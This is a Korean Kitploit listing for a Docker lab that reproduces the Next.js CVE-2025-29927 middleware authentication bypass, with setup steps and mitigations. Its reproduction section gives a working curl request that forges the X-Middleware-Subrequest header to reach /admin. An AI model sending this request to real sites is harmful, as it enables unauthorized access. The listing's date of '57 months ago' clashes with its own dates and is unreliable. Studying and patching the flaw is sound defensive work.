Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
NextJS-CVE-2025-29927-Docker-Lab — Docker 기반 실습 환경: Next.js CVE-2025-29927 미들웨어 인증 우회 취약점을 탐색하고 재현할 수 있습니다. 교육용 보안 연구를 위한 취약한 앱, 재현 단계 및 완화 전략을 포함합니다. | Kitploit
도구/GitHubGitHub/enochgitgamefied/nextjs-cve-2025-29927-docker-lab
Authentication & AuthorizationVulnerability AnalysisWeb Application ExploitationMisconfigurationLearning & EducationLabs & Practice
GitHubenochgitgamefied/nextjs-cve-2025-29927-docker-lab

NextJS-CVE-2025-29927-Docker-Lab

Docker 기반 실습 환경: Next.js CVE-2025-29927 미들웨어 인증 우회 취약점을 탐색하고 재현할 수 있습니다. 교육용 보안 연구를 위한 취약한 앱, 재현 단계 및 완화 전략을 포함합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
57개월 전아직 검토되지 않음

🚨 NextJS-CVE-2025-29927-Docker-Lab

이 저장소는 Docker 기반 랩 환경을 포함하여, Next.js CVE-2025-29927 취약점을 통제된 환경에서 탐색하고 시연할 수 있도록 제공합니다.

⚠️ 면책 조항: 이 랩은 교육 및 보안 연구 목적으로만 사용됩니다. 공개 인터넷에 노출하거나 프로덕션 환경에서 사용하지 마십시오.


📦 기능

  • ✅ 취약한 Next.js 애플리케이션
  • ✅ Docker로 컨테이너화
  • ✅ CVE-2025-29927 로컬 테스트용으로 설계됨
  • ✅ 사전 구성된 라우트 및 UI 포함
  • ✅ 쉽게 설치 및 실행 가능

🛠 사전 요구 사항

다음이 설치되어 있는지 확인하십시오:

  • Docker (v20+)
  • Git
  • 선택 사항: Docker 외부에서 실행하려는 경우 Node.js

🚀 시작하기

다음 단계에 따라 랩을 클론하고 실행하십시오:

1. 저장소 클론

root@kitploit:~
git clone https://github.com/enochgitgamefied/NextJS-CVE-2025-29927-Docker-Lab.git
cd NextJS-CVE-2025-29927-Docker-Lab

2. Docker로 빌드 및 실행

root@kitploit:~
docker-compose up --build

이 명령은 다음을 수행합니다:

  • Docker 이미지 빌드
  • 취약한 Next.js 서버 시작
  • http://localhost:3000에서 앱 노출

📂 폴더 구조

root@kitploit:~
.
├── app/                     # 메인 Next.js 앱 코드
├── public/                  # 정적 자산 (이미지 등)
├── Dockerfile               # 앱용 Docker 설정
├── docker-compose.yml       # Compose 구성
├── .env                     # 환경 변수 (있는 경우)
├── README.md                # 현재 파일

🧪 취약점 테스트

🛡️ CVE-2025-29927 - Next.js 미들웨어 인증 우회

⚠️ 경고: 이 문서는 교육 및 보안 연구 목적으로만 제공됩니다. 취약한 앱을 프로덕션 환경에 배포하지 마십시오.


🔍 개요

CVE-2025-29927은 Next.js 미들웨어의 심각한 인증 우회 취약점입니다. 공격자는 X-Middleware-Subrequest 헤더를 조작하여 미들웨어 기반 인증을 우회하고 보호된 라우트에 접근할 수 있습니다.


🧪 취약점 재현

1. 인증 없이 보호된 라우트 접근

인증 없이 /admin과 같은 보호된 라우트에 접근 시도:

root@kitploit:~
curl http://localhost:3000/admin

예상 동작: 접근이 거부되거나 권한 없는 페이지로 리디렉션됩니다.

취약한 동작: 인증 없이 접근이 허용됩니다.

2. X-Middleware-Subrequest 헤더를 사용한 미들웨어 우회

X-Middleware-Subrequest 헤더를 포함하여 요청을 보내 미들웨어 검사를 우회:

root@kitploit:~
curl -H "X-Middleware-Subrequest: src/middleware:nowaf" http://localhost:3000/admin

결과: 미들웨어가 우회되어 보호된 라우트에 접근이 허용됩니다.


🛡️ 완화 전략

1. Next.js를 패치된 버전으로 업그레이드

취약점이 수정된 다음 버전 중 하나로 Next.js를 업데이트하십시오:

  • 14.2.25
  • 15.2.3
root@kitploit:~
npm install next@latest

2. 미들웨어 강화 구현

요청을 적절히 검증하고 의심스러운 헤더를 거부하도록 미들웨어를 개선:

root@kitploit:~
import { NextResponse } from 'next/server';

export function middleware(request) {
  const subrequestHeader = request.headers.get('x-middleware-subrequest');
  if (subrequestHeader) {
    return new NextResponse('Unauthorized', { status: 401 });
  }
  // 정상 처리 계속
  return NextResponse.next();
}

3. 리버스 프록시에서 의심스러운 헤더 제거 구성

리버스 프록시(예: Nginx)를 사용하는 경우, 들어오는 요청에서 X-Middleware-Subrequest 헤더를 제거하도록 구성:

root@kitploit:~
location / {
  proxy_pass http://localhost:3000;
  proxy_set_header X-Middleware-Subrequest "";
}

📚 참고 자료

  • NVD - CVE-2025-29927
  • Datadog Security Labs Analysis
  • Vercel Postmortem

이 VULNERABILITY.md 파일은 통제된 환경에서 CVE-2025-29927 취약점을 이해하고 재현하는 데 필요한 종합적인 가이드를 제공합니다. 또한 Next.js 애플리케이션을 이러한 공격으로부터 보호하기 위한 실용적인 완화 전략도 함께 제시합니다.

자세한 시연 및 이 취약점에 대한 추가 통찰을 원하시면 Techtalkpine이 제공하는 전체 공격 데모를 참조하십시오. 블로그 게시물(YouTube 라이브 데모도 연결됨): https://techtalkpine.com/2025/03/demo-for-cve-2025-29927-nextjs/

이 설정의 특정 부분에 대한 도움이 필요하거나 완화 단계에 대한 추가 설명이 필요하면 알려주십시오.


🧹 정리

컨테이너를 중지하고 제거하려면:

root@kitploit:~
docker-compose down

📚 리소스

  • Next.js 문서
  • Docker 문서
  • OWASP Top 10

⚠️ 법적 면책 조항

이 프로젝트는 교육 및 연구 목적으로만 제공됩니다. 모든 관련 법률 및 윤리 지침에 따라 사용해야 하며, 사용자는 이에 대한 책임이 있습니다. 작성자는 오용 또는 손해에 대해 책임을 지지 않습니다.

도구 다운로드